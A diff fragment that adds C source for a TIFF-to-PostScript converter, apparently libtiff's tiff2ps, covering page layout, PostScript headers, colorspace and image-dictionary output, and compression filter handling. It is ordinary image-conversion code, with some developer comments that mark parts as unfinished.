+	    left_offset += xtran / 2;
+	fprintf(fp, "%f %f translate\n", left_offset, bottom_offset);
+	fprintf(fp, "%f %f scale\n", xscale, yscale);
+	if (rotate)
+	    fputs ("1 1 translate 180 rotate\n", fp);
+
+	return splitpage;
+}
+
+
+/* returns the sequence number of the page processed */
+int
+TIFF2PS(FILE* fd, TIFF* tif,
+	double pw, double ph, double lm, double bm, int cnt)
+{
+	uint32 w, h;
+	float ox, oy;
+        double prw, prh;
+	double scale = 1.0;
+	uint32 subfiletype;
+	uint16* sampleinfo;
+	static int npages = 0;
+	int split;
+
+	if (!TIFFGetField(tif, TIFFTAG_XPOSITION, &ox))
+		ox = 0;
+	if (!TIFFGetField(tif, TIFFTAG_YPOSITION, &oy))
+		oy = 0;
+	setupPageState(tif, &w, &h, &prw, &prh);
+
+	do {
+		tf_numberstrips = TIFFNumberOfStrips(tif);
+		TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP,
+		    &tf_rowsperstrip);
+		setupPageState(tif, &w, &h, &prw, &prh);
+		if (!npages)
+			PSHead(fd, tif, w, h, prw, prh, ox, oy);
+		TIFFGetFieldDefaulted(tif, TIFFTAG_BITSPERSAMPLE,
+		    &bitspersample);
+		TIFFGetFieldDefaulted(tif, TIFFTAG_SAMPLESPERPIXEL,
+		    &samplesperpixel);
+		TIFFGetFieldDefaulted(tif, TIFFTAG_PLANARCONFIG,
+		    &planarconfiguration);
+		TIFFGetField(tif, TIFFTAG_COMPRESSION, &compression);
+		TIFFGetFieldDefaulted(tif, TIFFTAG_EXTRASAMPLES,
+		    &extrasamples, &sampleinfo);
+		alpha = (extrasamples == 1 &&
+			 sampleinfo[0] == EXTRASAMPLE_ASSOCALPHA);
+		if (!TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &photometric)) {
+			switch (samplesperpixel - extrasamples) {
+			case 1:
+				if (isCCITTCompression(tif))
+					photometric = PHOTOMETRIC_MINISWHITE;
+				else
+					photometric = PHOTOMETRIC_MINISBLACK;
+				break;
+			case 3:
+				photometric = PHOTOMETRIC_RGB;
+				break;
+			case 4:
+				photometric = PHOTOMETRIC_SEPARATED;
+				break;
+			}
+		}
+		if (checkImage(tif)) {
+			tf_bytesperrow = TIFFScanlineSize(tif);
+			npages++;
+			fprintf(fd, "%%%%Page: %d %d\n", npages, npages);
+			if (!generateEPSF && ( level2 || level3 )) {
+				double psw, psh;
+				if (pw != 0.0) {
+					psw = pw * PS_UNIT_SIZE;
+					if (res_unit == RESUNIT_CENTIMETER)
+						psw *= 2.54F;
+				} else
+					psw=rotate ? prh:prw;
+				if (ph != 0.0) {
+					psh = ph * PS_UNIT_SIZE;
+					if (res_unit == RESUNIT_CENTIMETER)
+						psh *= 2.54F;
+				} else
+					psh=rotate ? prw:prh;
+				fprintf(fd,
+	"1 dict begin /PageSize [ %f %f ] def currentdict end setpagedevice\n",
+					psw, psh);
+				fputs(
+	"<<\n  /Policies <<\n    /PageSize 3\n  >>\n>> setpagedevice\n",
+				      fd);
+			}
+			fprintf(fd, "gsave\n");
+			fprintf(fd, "100 dict begin\n");
+			if (pw != 0 || ph != 0) {
+				double psw = pw, psh = ph;
+				if (!psw)
+					psw = prw;
+				if (!psh)
+					psh = prh;
+				if (maxPageHeight) { /* used -H option */
+					split = PlaceImage(fd,psw,psh,prw,prh,
+							   0,lm,bm,cnt);
+					while( split ) {
+					    PSpage(fd, tif, w, h);
+					    fprintf(fd, "end\n");
+					    fprintf(fd, "grestore\n");
+					    fprintf(fd, "showpage\n");
+					    npages++;
+					    fprintf(fd, "%%%%Page: %d %d\n",
+						    npages, npages);
+					    fprintf(fd, "gsave\n");
+					    fprintf(fd, "100 dict begin\n");
+					    split = PlaceImage(fd,psw,psh,prw,prh,
+							       split,lm,bm,cnt);
+					}
+				} else {
+					double left_offset = lm * PS_UNIT_SIZE;
+					double bottom_offset = bm * PS_UNIT_SIZE;
+					psw *= PS_UNIT_SIZE;
+					psh *= PS_UNIT_SIZE;
+
+					/* NB: maintain image aspect ratio */
+					scale = psw/prw < psh/prh ?
+						psw/prw : psh/prh;
+					if (scale > 1.0)
+						scale = 1.0;
+					if (cnt) {
+						bottom_offset +=
+							(psh - prh * scale) / 2;
+						left_offset +=
+							(psw - prw * scale) / 2;
+					}
+					fprintf(fd, "%f %f translate\n",
+						left_offset, bottom_offset);
+					fprintf(fd, "%f %f scale\n",
+						prw * scale, prh * scale);
+					if (rotate)
+						fputs ("1 1 translate 180 rotate\n", fd);
+				}
+			} else {
+				fprintf(fd, "%f %f scale\n", prw, prh);
+				if (rotate)
+					fputs ("1 1 translate 180 rotate\n", fd);
+			}
+			PSpage(fd, tif, w, h);
+			fprintf(fd, "end\n");
+			fprintf(fd, "grestore\n");
+			fprintf(fd, "showpage\n");
+		}
+		if (generateEPSF)
+			break;
+		TIFFGetFieldDefaulted(tif, TIFFTAG_SUBFILETYPE, &subfiletype);
+	} while (((subfiletype & FILETYPE_PAGE) || printAll) &&
+	    TIFFReadDirectory(tif));
+
+	return(npages);
+}
+
+
+static char DuplexPreamble[] = "\
+%%BeginFeature: *Duplex True\n\
+systemdict begin\n\
+  /languagelevel where { pop languagelevel } { 1 } ifelse\n\
+  2 ge { 1 dict dup /Duplex true put setpagedevice }\n\
+  { statusdict /setduplex known { statusdict begin setduplex true end } if\n\
+  } ifelse\n\
+end\n\
+%%EndFeature\n\
+";
+
+static char TumblePreamble[] = "\
+%%BeginFeature: *Tumble True\n\
+systemdict begin\n\
+  /languagelevel where { pop languagelevel } { 1 } ifelse\n\
+  2 ge { 1 dict dup /Tumble true put setpagedevice }\n\
+  { statusdict /settumble known { statusdict begin true settumble end } if\n\
+  } ifelse\n\
+end\n\
+%%EndFeature\n\
+";
+
+static char AvoidDeadZonePreamble[] = "\
+gsave newpath clippath pathbbox grestore\n\
+  4 2 roll 2 copy translate\n\
+  exch 3 1 roll sub 3 1 roll sub exch\n\
+  currentpagedevice /PageSize get aload pop\n\
+  exch 3 1 roll div 3 1 roll div abs exch abs\n\
+  2 copy gt { exch } if pop\n\
+  dup 1 lt { dup scale } { pop } ifelse\n\
+";
+
+void
+PSHead(FILE *fd, TIFF *tif, uint32 w, uint32 h,
+       double pw, double ph, double ox, double oy)
+{
+	time_t t;
+
+	(void) tif; (void) w; (void) h;
+	t = time(0);
+	fprintf(fd, "%%!PS-Adobe-3.0%s\n", generateEPSF ? " EPSF-3.0" : "");
+	fprintf(fd, "%%%%Creator: tiff2ps\n");
+	fprintf(fd, "%%%%Title: %s\n", filename);
+	fprintf(fd, "%%%%CreationDate: %s", ctime(&t));
+	fprintf(fd, "%%%%DocumentData: Clean7Bit\n");
+	fprintf(fd, "%%%%Origin: %ld %ld\n", (long) ox, (long) oy);
+	/* NB: should use PageBoundingBox */
+	fprintf(fd, "%%%%BoundingBox: 0 0 %ld %ld\n",
+	    (long) ceil(pw), (long) ceil(ph));
+	fprintf(fd, "%%%%LanguageLevel: %d\n", (level3 ? 3 : (level2 ? 2 : 1)));
+	fprintf(fd, "%%%%Pages: (atend)\n");
+	fprintf(fd, "%%%%EndComments\n");
+	fprintf(fd, "%%%%BeginSetup\n");
+	if (PSduplex)
+		fprintf(fd, "%s", DuplexPreamble);
+	if (PStumble)
+		fprintf(fd, "%s", TumblePreamble);
+	if (PSavoiddeadzone && (level2 || level3))
+		fprintf(fd, "%s", AvoidDeadZonePreamble);
+	fprintf(fd, "%%%%EndSetup\n");
+}
+
+void
+PSTail(FILE *fd, int npages)
+{
+	fprintf(fd, "%%%%Trailer\n");
+	fprintf(fd, "%%%%Pages: %d\n", npages);
+	fprintf(fd, "%%%%EOF\n");
+}
+
+static int
+checkcmap(TIFF* tif, int n, uint16* r, uint16* g, uint16* b)
+{
+	(void) tif;
+	while (n-- > 0)
+		if (*r++ >= 256 || *g++ >= 256 || *b++ >= 256)
+			return (16);
+	TIFFWarning(filename, "Assuming 8-bit colormap");
+	return (8);
+}
+
+static void
+PS_Lvl2colorspace(FILE* fd, TIFF* tif)
+{
+	uint16 *rmap, *gmap, *bmap;
+	int i, num_colors;
+	const char * colorspace_p;
+
+	switch ( photometric )
+	{
+	case PHOTOMETRIC_SEPARATED:
+		colorspace_p = "CMYK";
+		break;
+
+	case PHOTOMETRIC_RGB:
+		colorspace_p = "RGB";
+		break;
+
+	default:
+		colorspace_p = "Gray";
+	}
+
+	/*
+	 * Set up PostScript Level 2 colorspace according to
+	 * section 4.8 in the PostScript refenence manual.
+	 */
+	fputs("% PostScript Level 2 only.\n", fd);
+	if (photometric != PHOTOMETRIC_PALETTE) {
+		if (photometric == PHOTOMETRIC_YCBCR) {
+		    /* MORE CODE HERE */
+		}
+		fprintf(fd, "/Device%s setcolorspace\n", colorspace_p );
+		return;
+	}
+
+	/*
+	 * Set up an indexed/palette colorspace
+	 */
+	num_colors = (1 << bitspersample);
+	if (!TIFFGetField(tif, TIFFTAG_COLORMAP, &rmap, &gmap, &bmap)) {
+		TIFFError(filename,
+			"Palette image w/o \"Colormap\" tag");
+		return;
+	}
+	if (checkcmap(tif, num_colors, rmap, gmap, bmap) == 16) {
+		/*
+		 * Convert colormap to 8-bits values.
+		 */
+#define	CVT(x)		(((x) * 255) / ((1L<<16)-1))
+		for (i = 0; i < num_colors; i++) {
+			rmap[i] = CVT(rmap[i]);
+			gmap[i] = CVT(gmap[i]);
+			bmap[i] = CVT(bmap[i]);
+		}
+#undef CVT
+	}
+	fprintf(fd, "[ /Indexed /DeviceRGB %d", num_colors - 1);
+	if (ascii85) {
+		Ascii85Init();
+		fputs("\n<~", fd);
+		ascii85breaklen -= 2;
+	} else
+		fputs(" <", fd);
+	for (i = 0; i < num_colors; i++) {
+		if (ascii85) {
+			Ascii85Put((unsigned char)rmap[i], fd);
+			Ascii85Put((unsigned char)gmap[i], fd);
+			Ascii85Put((unsigned char)bmap[i], fd);
+		} else {
+			fputs((i % 8) ? " " : "\n  ", fd);
+			fprintf(fd, "%02x%02x%02x",
+			    rmap[i], gmap[i], bmap[i]);
+		}
+	}
+	if (ascii85)
+		Ascii85Flush(fd);
+	else
+		fputs(">\n", fd);
+	fputs("] setcolorspace\n", fd);
+}
+
+static int
+PS_Lvl2ImageDict(FILE* fd, TIFF* tif, uint32 w, uint32 h)
+{
+	int use_rawdata;
+	uint32 tile_width, tile_height;
+	uint16 predictor, minsamplevalue, maxsamplevalue;
+	int repeat_count;
+	char im_h[64], im_x[64], im_y[64];
+	char * imageOp = "image";
+
+	if ( useImagemask && (bitspersample == 1) )
+		imageOp = "imagemask";
+
+	(void)strcpy(im_x, "0");
+	(void)sprintf(im_y, "%lu", (long) h);
+	(void)sprintf(im_h, "%lu", (long) h);
+	tile_width = w;
+	tile_height = h;
+	if (TIFFIsTiled(tif)) {
+		repeat_count = TIFFNumberOfTiles(tif);
+		TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tile_width);
+		TIFFGetField(tif, TIFFTAG_TILELENGTH, &tile_height);
+		if (tile_width > w || tile_height > h ||
+		    (w % tile_width) != 0 || (h % tile_height != 0)) {
+			/*
+			 * The tiles does not fit image width and height.
+			 * Set up a clip rectangle for the image unit square.
+			 */
+			fputs("0 0 1 1 rectclip\n", fd);
+		}
+		if (tile_width < w) {
+			fputs("/im_x 0 def\n", fd);
+			(void)strcpy(im_x, "im_x neg");
+		}
+		if (tile_height < h) {
+			fputs("/im_y 0 def\n", fd);
+			(void)sprintf(im_y, "%lu im_y sub", (unsigned long) h);
+		}
+	} else {
+		repeat_count = tf_numberstrips;
+		tile_height = tf_rowsperstrip;
+		if (tile_height > h)
+			tile_height = h;
+		if (repeat_count > 1) {
+			fputs("/im_y 0 def\n", fd);
+			fprintf(fd, "/im_h %lu def\n",
+			    (unsigned long) tile_height);
+			(void)strcpy(im_h, "im_h");
+			(void)sprintf(im_y, "%lu im_y sub", (unsigned long) h);
+		}
+	}
+
+	/*
+	 * Output start of exec block
+	 */
+	fputs("{ % exec\n", fd);
+
+	if (repeat_count > 1)
+		fprintf(fd, "%d { %% repeat\n", repeat_count);
+
+	/*
+	 * Output filter options and image dictionary.
+	 */
+	if (ascii85)
+		fputs(" /im_stream currentfile /ASCII85Decode filter def\n",
+		    fd);
+	fputs(" <<\n", fd);
+	fputs("  /ImageType 1\n", fd);
+	fprintf(fd, "  /Width %lu\n", (unsigned long) tile_width);
+	/*
+	 * Workaround for some software that may crash when last strip
+	 * of image contains fewer number of scanlines than specified
+	 * by the `/Height' variable. So for stripped images with multiple
+	 * strips we will set `/Height' as `im_h', because one is 
+	 * recalculated for each strip - including the (smaller) final strip.
+	 * For tiled images and images with only one strip `/Height' will
+	 * contain number of scanlines in tile (or image height in case of
+	 * one-stripped image).
+	 */
+	if (TIFFIsTiled(tif) || tf_numberstrips == 1)
+		fprintf(fd, "  /Height %lu\n", (unsigned long) tile_height);
+	else
+		fprintf(fd, "  /Height im_h\n");
+	
+	if (planarconfiguration == PLANARCONFIG_SEPARATE && samplesperpixel > 1)
+		fputs("  /MultipleDataSources true\n", fd);
+	fprintf(fd, "  /ImageMatrix [ %lu 0 0 %ld %s %s ]\n",
+	    (unsigned long) w, - (long)h, im_x, im_y);
+	fprintf(fd, "  /BitsPerComponent %d\n", bitspersample);
+	fprintf(fd, "  /Interpolate %s\n", interpolate ? "true" : "false");
+
+	switch (samplesperpixel - extrasamples) {
+	case 1:
+		switch (photometric) {
+		case PHOTOMETRIC_MINISBLACK:
+			fputs("  /Decode [0 1]\n", fd);
+			break;
+		case PHOTOMETRIC_MINISWHITE:
+			switch (compression) {
+			case COMPRESSION_CCITTRLE:
+			case COMPRESSION_CCITTRLEW:
+			case COMPRESSION_CCITTFAX3:
+			case COMPRESSION_CCITTFAX4:
+				/*
+				 * Manage inverting with /Blackis1 flag
+				 * since there migth be uncompressed parts
+				 */
+				fputs("  /Decode [0 1]\n", fd);
+				break;
+			default:
+				/*
+				 * ERROR...
+				 */
+				fputs("  /Decode [1 0]\n", fd);
+				break;
+			}
+			break;
+		case PHOTOMETRIC_PALETTE:
+			TIFFGetFieldDefaulted(tif, TIFFTAG_MINSAMPLEVALUE,
+			    &minsamplevalue);
+			TIFFGetFieldDefaulted(tif, TIFFTAG_MAXSAMPLEVALUE,
+			    &maxsamplevalue);
+			fprintf(fd, "  /Decode [%u %u]\n",
+				    minsamplevalue, maxsamplevalue);
+			break;
+		default:
+			/*
+			 * ERROR ?
+			 */
+			fputs("  /Decode [0 1]\n", fd);
+			break;
+		}
+		break;
+	case 3:
+		switch (photometric) {
+		case PHOTOMETRIC_RGB:
+			fputs("  /Decode [0 1 0 1 0 1]\n", fd);
+			break;
+		case PHOTOMETRIC_MINISWHITE:
+		case PHOTOMETRIC_MINISBLACK:
+		default:
+			/*
+			 * ERROR??
+			 */
+			fputs("  /Decode [0 1 0 1 0 1]\n", fd);
+			break;
+		}
+		break;
+	case 4:
+		/*
+		 * ERROR??
+		 */
+		fputs("  /Decode [0 1 0 1 0 1 0 1]\n", fd);
+		break;
+	}
+	fputs("  /DataSource", fd);
+	if (planarconfiguration == PLANARCONFIG_SEPARATE &&
+	    samplesperpixel > 1)
+		fputs(" [", fd);
+	if (ascii85)
+		fputs(" im_stream", fd);
+	else
+		fputs(" currentfile /ASCIIHexDecode filter", fd);
+
+	use_rawdata = TRUE;
+	switch (compression) {
+	case COMPRESSION_NONE:		/* 1: uncompressed */
+		break;
+	case COMPRESSION_CCITTRLE:	/* 2: CCITT modified Huffman RLE */
+	case COMPRESSION_CCITTRLEW:	/* 32771: #1 w/ word alignment */
+	case COMPRESSION_CCITTFAX3:	/* 3: CCITT Group 3 fax encoding */
+	case COMPRESSION_CCITTFAX4:	/* 4: CCITT Group 4 fax encoding */
+		fputs("\n\t<<\n", fd);
+		if (compression == COMPRESSION_CCITTFAX3) {
+			uint32 g3_options;
+
+			fputs("\t /EndOfLine true\n", fd);
+			fputs("\t /EndOfBlock false\n", fd);
+			if (!TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS,
+					    &g3_options))
+				g3_options = 0;
+			if (g3_options & GROUP3OPT_2DENCODING)
+				fprintf(fd, "\t /K %s\n", im_h);
+			if (g3_options & GROUP3OPT_UNCOMPRESSED)
+				fputs("\t /Uncompressed true\n", fd);
+			if (g3_options & GROUP3OPT_FILLBITS)
+				fputs("\t /EncodedByteAlign true\n", fd);
+		}
+		if (compression == COMPRESSION_CCITTFAX4) {
+			uint32 g4_options;
+
+			fputs("\t /K -1\n", fd);
+			TIFFGetFieldDefaulted(tif, TIFFTAG_GROUP4OPTIONS,
+					       &g4_options);
+			if (g4_options & GROUP4OPT_UNCOMPRESSED)
+				fputs("\t /Uncompressed true\n", fd);
+		}
+		if (!(tile_width == w && w == 1728U))
+			fprintf(fd, "\t /Columns %lu\n",
+			    (unsigned long) tile_width);
+		fprintf(fd, "\t /Rows %s\n", im_h);
+		if (compression == COMPRESSION_CCITTRLE ||
+		    compression == COMPRESSION_CCITTRLEW) {
+			fputs("\t /EncodedByteAlign true\n", fd);
+			fputs("\t /EndOfBlock false\n", fd);
+		}
+		if (photometric == PHOTOMETRIC_MINISBLACK)
+			fputs("\t /BlackIs1 true\n", fd);
+		fprintf(fd, "\t>> /CCITTFaxDecode filter");
+		break;
+	case COMPRESSION_LZW:	/* 5: Lempel-Ziv & Welch */
+		TIFFGetFieldDefaulted(tif, TIFFTAG_PREDICTOR, &predictor);
+		if (predictor == 2) {
+			fputs("\n\t<<\n", fd);
+			fprintf(fd, "\t /Predictor %u\n", predictor);
+			fprintf(fd, "\t /Columns %lu\n",
+			    (unsigned long) tile_width);
+			fprintf(fd, "\t /Colors %u\n", samplesperpixel);
+			fprintf(fd, "\t /BitsPerComponent %u\n",
+			    bitspersample);
+			fputs("\t>>", fd);
+		}
+		fputs(" /LZWDecode filter", fd);
+		break;
+	case COMPRESSION_DEFLATE:	/* 5: ZIP */
+	case COMPRESSION_ADOBE_DEFLATE:
+		if ( level3 ) {
+			 TIFFGetFieldDefaulted(tif, TIFFTAG_PREDICTOR, &predictor);
+			 if (predictor > 1) {
+				fprintf(fd, "\t %% PostScript Level 3 only.");
+				fputs("\n\t<<\n", fd);
+				fprintf(fd, "\t /Predictor %u\n", predictor);
+				fprintf(fd, "\t /Columns %lu\n",
+					(unsigned long) tile_width);
+				fprintf(fd, "\t /Colors %u\n", samplesperpixel);
+					fprintf(fd, "\t /BitsPerComponent %u\n",
+					bitspersample);
+				fputs("\t>>", fd);
+			 }
+			 fputs(" /FlateDecode filter", fd);
+		} else {
+			use_rawdata = FALSE ;
+		}
+		break;
+	case COMPRESSION_PACKBITS:	/* 32773: Macintosh RLE */
+		fputs(" /RunLengthDecode filter", fd);
+		use_rawdata = TRUE;
+	    break;
+	case COMPRESSION_OJPEG:		/* 6: !6.0 JPEG */
+	case COMPRESSION_JPEG:		/* 7: %JPEG DCT compression */
+#ifdef notdef
+		/*
+		 * Code not tested yet
+		 */
+		fputs(" /DCTDecode filter", fd);
+		use_rawdata = TRUE;
+#else
+		use_rawdata = FALSE;
+#endif
+		break;
+	case COMPRESSION_NEXT:		/* 32766: NeXT 2-bit RLE */
+	case COMPRESSION_THUNDERSCAN:	/* 32809: ThunderScan RLE */
+	case COMPRESSION_PIXARFILM:	/* 32908: Pixar companded 10bit LZW */
+	case COMPRESSION_JBIG:		/* 34661: ISO JBIG */
+		use_rawdata = FALSE;
+		break;
+	case COMPRESSION_SGILOG:	/* 34676: SGI LogL or LogLuv */
+	case COMPRESSION_SGILOG24:	/* 34677: SGI 24-bit LogLuv */
+		use_rawdata = FALSE;
+		break;
+	default:
+		/*
+		 * ERROR...
+		 */
+		use_rawdata = FALSE;
+		break;
+	}
+	if (planarconfiguration == PLANARCONFIG_SEPARATE &&
+	    samplesperpixel > 1) {
+		uint16 i;
+
+		/*
+		 * NOTE: This code does not work yet...
+		 */
+		for (i = 1; i < samplesperpixel; i++)
+			fputs(" dup", fd);
+		fputs(" ]", fd);
+	}
+
+	fprintf( fd, "\n >> %s\n", imageOp );
+	if (ascii85)
+		fputs(" im_stream status { im_stream flushfile } if\n", fd);
+	if (repeat_count > 1) {
+		if (tile_width < w) {
+			fprintf(fd, " /im_x im_x %lu add def\n",
+			    (unsigned long) tile_width);
+			if (tile_height < h) {
+				fprintf(fd, " im_x %lu ge {\n",
+				    (unsigned long) w);
+				fputs("  /im_x 0 def\n", fd);
+				fprintf(fd, " /im_y im_y %lu add def\n",
+				    (unsigned long) tile_height);
+				fputs(" } if\n", fd);
+			}
+		}
+		if (tile_height < h) {
+			if (tile_width >= w) {
+				fprintf(fd, " /im_y im_y %lu add def\n",
+				    (unsigned long) tile_height);
+				if (!TIFFIsTiled(tif)) {
+					fprintf(fd, " /im_h %lu im_y sub",
+					    (unsigned long) h);
+					fprintf(fd, " dup %lu gt { pop",
+					    (unsigned long) tile_height);
+					fprintf(fd, " %lu } if def\n",
+					    (unsigned long) tile_height);
+				}
+			}
+		}
+		fputs("} repeat\n", fd);
+	}
+	/*
+	 * End of exec function
+	 */
+	fputs("}\n", fd);
+
+	return(use_rawdata);
+}
+
+#define MAXLINE		36
+
+int
+PS_Lvl2page(FILE* fd, TIFF* tif, uint32 w, uint32 h)
+{
+	uint16 fillorder;
+	int use_rawdata, tiled_image, breaklen = MAXLINE;
+	uint32 chunk_no, num_chunks, *bc;
+	unsigned char *buf_data, *cp;
+	tsize_t chunk_size, byte_count;
+
+#if defined( EXP_ASCII85ENCODER )
+	int			ascii85_l;	/* Length, in bytes, of ascii85_p[] data */
+	uint8		*	ascii85_p = 0;	/* Holds ASCII85 encoded data */
+#endif
+
+	PS_Lvl2colorspace(fd, tif);
+	use_rawdata = PS_Lvl2ImageDict(fd, tif, w, h);
+
+/* See http://bugzilla.remotesensing.org/show_bug.cgi?id=80 */
+#ifdef ENABLE_BROKEN_BEGINENDDATA
+	fputs("%%BeginData:\n", fd);
+#endif
+	fputs("exec\n", fd);
+
+	tiled_image = TIFFIsTiled(tif);
+	if (tiled_image) {
+		num_chunks = TIFFNumberOfTiles(tif);
+		TIFFGetField(tif, TIFFTAG_TILEBYTECOUNTS, &bc);
+	} else {
+		num_chunks = TIFFNumberOfStrips(tif);
+		TIFFGetField(tif, TIFFTAG_STRIPBYTECOUNTS, &bc);
+	}
+
+	if (use_rawdata) {
+		chunk_size = (tsize_t) bc[0];
+		for (chunk_no = 1; chunk_no < num_chunks; chunk_no++)
+			if ((tsize_t) bc[chunk_no] > chunk_size)
+				chunk_size = (tsize_t) bc[chunk_no];
+	} else {
+		if (tiled_image)
+			chunk_size = TIFFTileSize(tif);
+		else
+			chunk_size = TIFFStripSize(tif);
+	}
+	buf_data = (unsigned char *)_TIFFmalloc(chunk_size);
+	if (!buf_data) {
+		TIFFError(filename, "Can't alloc %u bytes for %s.",
+			chunk_size, tiled_image ? "tiles" : "strips");
+		return(FALSE);
+	}
+
+#if defined( EXP_ASCII85ENCODER )
+	if ( ascii85 ) {
+	    /*
+	     * Allocate a buffer to hold the ASCII85 encoded data.  Note
+	     * that it is allocated with sufficient room to hold the
+	     * encoded data (5*chunk_size/4) plus the EOD marker (+8)
+	     * and formatting line breaks.  The line breaks are more
+	     * than taken care of by using 6*chunk_size/4 rather than
+	     * 5*chunk_size/4.
+	     */
+
+	    ascii85_p = _TIFFmalloc( (chunk_size+(chunk_size/2)) + 8 );
+
+	    if ( !ascii85_p ) {
+		_TIFFfree( buf_data );
+
+		TIFFError( filename, "Cannot allocate ASCII85 encoding buffer." );
+		return ( FALSE );
+	    }
+	}
+#endif
+
+	TIFFGetFieldDefaulted(tif, TIFFTAG_FILLORDER, &fillorder);
+	for (chunk_no = 0; chunk_no < num_chunks; chunk_no++) {
+		if (ascii85)
+			Ascii85Init();
+		else
+			breaklen = MAXLINE;
+		if (use_rawdata) {
+			if (tiled_image)
+				byte_count = TIFFReadRawTile(tif, chunk_no,
+						  buf_data, chunk_size);
+			else
+				byte_count = TIFFReadRawStrip(tif, chunk_no,
+						  buf_data, chunk_size);
+			if (fillorder == FILLORDER_LSB2MSB)
+			    TIFFReverseBits(buf_data, byte_count);
+		} else {
+			if (tiled_image)
+				byte_count = TIFFReadEncodedTile(tif,
+						chunk_no, buf_data,
+						chunk_size);
+			else
+				byte_count = TIFFReadEncodedStrip(tif,
+						chunk_no, buf_data,
+						chunk_size);
+		}
+		if (byte_count < 0) {
+			TIFFError(filename, "Can't read %s %d.",
+				tiled_image ? "tile" : "strip", chunk_no);
+			if (ascii85)
+				Ascii85Put('\0', fd);
+		}
+		/*
+		 * For images with alpha, matte against a white background;
+		 * i.e. Cback * (1 - Aimage) where Cback = 1. We will fill the
+		 * lower part of the buffer with the modified values.
+		 *
+		 * XXX: needs better solution
+		 */
+		if (alpha) {
+			int adjust, i, j = 0;
+			int ncomps = samplesperpixel - extrasamples;
+			for (i = 0; i < byte_count; i+=samplesperpixel) {
+				adjust = 255 - buf_data[i + ncomps];
+				switch (ncomps) {
+					case 1:
+						buf_data[j++] = buf_data[i] + adjust;
+						break;
+					case 2:
+						buf_data[j++] = buf_data[i] + adjust;
+						buf_data[j++] = buf_data[i+1] + adjust;
+						break;
+					case 3:
+						buf_data[j++] = buf_data[i] + adjust;
+						buf_data[j++] = buf_data[i+1] + adjust;
+						buf_data[j++] = buf_data[i+2] + adjust;
+						break;
+				}
+			}
+			byte_count -= j;
+		}
+
+		if (ascii85) {
+#if defined( EXP_ASCII85ENCODER )
+			ascii85_l = Ascii85EncodeBlock(ascii85_p, 1, buf_data, byte_count );
+
+			if ( ascii85_l > 0 )
+				fwrite( ascii85_p, ascii85_l, 1, fd );
+#else
+			for (cp = buf_data; byte_count > 0; byte_count--)
+				Ascii85Put(*cp++, fd);
+#endif
+		}
+		else
+		{
+			for (cp = buf_data; byte_count > 0; byte_count--) {
+				putc(hex[((*cp)>>4)&0xf], fd);
+				putc(hex[(*cp)&0xf], fd);
+				cp++;
+
+				if (--breaklen <= 0) {
+					putc('\n', fd);
+					breaklen = MAXLINE;
+				}
+			}
+		}
+
+		if ( !ascii85 ) {
+			if ( level2 || level3 )
+				putc( '>', fd );
+			putc('\n', fd);
+		}
+#if !defined( EXP_ASCII85ENCODER )
+		else
+			Ascii85Flush(fd);
+#endif
+	}
+
+#if defined( EXP_ASCII85ENCODER )
+	if ( ascii85_p )
+	    _TIFFfree( ascii85_p );
+#endif
+       
+	_TIFFfree(buf_data);
+#ifdef ENABLE_BROKEN_BEGINENDDATA
+	fputs("%%EndData\n", fd);
+#endif
+	return(TRUE);
+}
+
+void
+PSpage(FILE* fd, TIFF* tif, uint32 w, uint32 h)
+{
+	char	*	imageOp = "image";
+
+	if ( useImagemask && (bitspersample == 1) )
+		imageOp = "imagemask";
+
+	if ((level2 || level3) && PS_Lvl2page(fd, tif, w, h))
+		return;
+	ps_bytesperrow = tf_bytesperrow - (extrasamples * bitspersample / 8)*w;
+	switch (photometric) {
+	case PHOTOMETRIC_RGB:
+		if (planarconfiguration == PLANARCONFIG_CONTIG) {
+			fprintf(fd, "%s", RGBcolorimage);
+			PSColorContigPreamble(fd, w, h, 3);
+			PSDataColorContig(fd, tif, w, h, 3);
+		} else {
+			PSColorSeparatePreamble(fd, w, h, 3);
+			PSDataColorSeparate(fd, tif, w, h, 3);
+		}
+		break;
+	case PHOTOMETRIC_SEPARATED:
+		/* XXX should emit CMYKcolorimage */
+		if (planarconfiguration == PLANARCONFIG_CONTIG) {
+			PSColorContigPreamble(fd, w, h, 4);
+			PSDataColorContig(fd, tif, w, h, 4);
+		} else {
+			PSColorSeparatePreamble(fd, w, h, 4);
+			PSDataColorSeparate(fd, tif, w, h, 4);
+		}
+		break;
+	case PHOTOMETRIC_PALETTE:
+		fprintf(fd, "%s", RGBcolorimage);
+		PhotoshopBanner(fd, w, h, 1, 3, "false 3 colorimage");
+		fprintf(fd, "/scanLine %ld string def\n",
+		    (long) ps_bytesperrow * 3L);
+		fprintf(fd, "%lu %lu 8\n",
+		    (unsigned long) w, (unsigned long) h);
+		fprintf(fd, "[%lu 0 0 -%lu 0 %lu]\n",
+		    (unsigned long) w, (unsigned long) h, (unsigned long) h);
+		fprintf(fd, "{currentfile scanLine readhexstring pop} bind\n");
+		fprintf(fd, "false 3 colorimage\n");
+		PSDataPalette(fd, tif, w, h);
+		break;
+	case PHOTOMETRIC_MINISBLACK:
+	case PHOTOMETRIC_MINISWHITE:
+		PhotoshopBanner(fd, w, h, 1, 1, imageOp);
+		fprintf(fd, "/scanLine %ld string def\n",
+		    (long) ps_bytesperrow);
+		fprintf(fd, "%lu %lu %d\n",
+		    (unsigned long) w, (unsigned long) h, bitspersample);
+		fprintf(fd, "[%lu 0 0 -%lu 0 %lu]\n",
+		    (unsigned long) w, (unsigned long) h, (unsigned long) h);
+		fprintf(fd,
+		    "{currentfile scanLine readhexstring pop} bind\n");
+		fprintf(fd, "%s\n", imageOp);
+		PSDataBW(fd, tif, w, h);
+		break;
+	}
+	putc('\n', fd);
+}
+
+void
+PSColorContigPreamble(FILE* fd, uint32 w, uint32 h, int nc)
+{
+	ps_bytesperrow = nc * (tf_bytesperrow / samplesperpixel);
+	PhotoshopBanner(fd, w, h, 1, nc, "false %d colorimage");
+	fprintf(fd, "/line %ld string def\n", (long) ps_bytesperrow);
+	fprintf(fd, "%lu %lu %d\n",
+	    (unsigned long) w, (unsigned long) h, bitspersample);
+	fprintf(fd, "[%lu 0 0 -%lu 0 %lu]\n",
+	    (unsigned long) w, (unsigned long) h, (unsigned long) h);
+	fprintf(fd, "{currentfile line readhexstring pop} bind\n");
+	fprintf(fd, "false %d colorimage\n", nc);
+}
+
+void
+PSColorSeparatePreamble(FILE* fd, uint32 w, uint32 h, int nc)
+{
+	int i;
+
